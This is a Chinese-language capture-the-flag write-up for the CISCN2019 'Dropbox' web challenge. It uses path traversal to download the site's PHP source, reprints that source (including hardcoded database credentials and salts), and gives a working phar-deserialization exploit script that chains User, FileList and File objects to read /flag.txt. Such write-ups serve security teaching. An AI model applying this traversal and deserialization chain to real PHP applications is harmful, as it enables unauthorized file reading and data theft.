[CISCN2019 华北赛区 Day1 Web1]Dropbox
/login.php
/register.php
尝试注册一个账号
进入管理面板/index.php，可以进行文件上传
文件的下载通过向/download.php POST文件名实现
文件的删除通过对/delete.php的POST实现
尝试下载源码
filename=../../login.php
成功获取到login.php，截取主体部分
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
<?php
include "class.php";
if (isset($_GET['register'])) {
echo "<script>toast('注册成功', 'info');</script>";
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
filename=../../register.php
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
<?php
include "class.php";
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
if ($u->add_user($username, $password)) {
echo("<script>window.location.href='login.php?register';</script>");
die();
} else {
echo "<script>toast('此用户名已被使用', 'warning');</script>";
die();
}
}
echo "<script>toast('请输入有效用户名和密码', 'warning');</script>";
}
?>
filename=../../index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
filename=../../upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
filename=../../download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
filename=../../delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
filename=../../class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
然后就是日常的学习时间QwQ
/delete.php并未过滤phar协议，可以利用这一点触发反序列化。
通过File.close来实现对flag文件的读取，然而需要一个地方输出。
观察到FileList类定义了__call方法以实现对多个File对象的方法调用和结果储存，并能在析构时对储存的结果进行输出，因此问题转换为调用Filelist.close。
又注意到User类在析构时调用db的close方法，因而只须令db为FileList即可。
<?php
class User {
public $db;
public function __construct() {
$this->db = new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
}
class File {
public $filename = '/flag.txt';
}
@unlink('phar.phar');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$user = new User();
$phar->setMetadata($user);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
然后折腾权限折腾半天，最后发现systemd里面有个ProtectSystem=full让/usr只读，刚好web根目录就在/usr/share/nginx/html
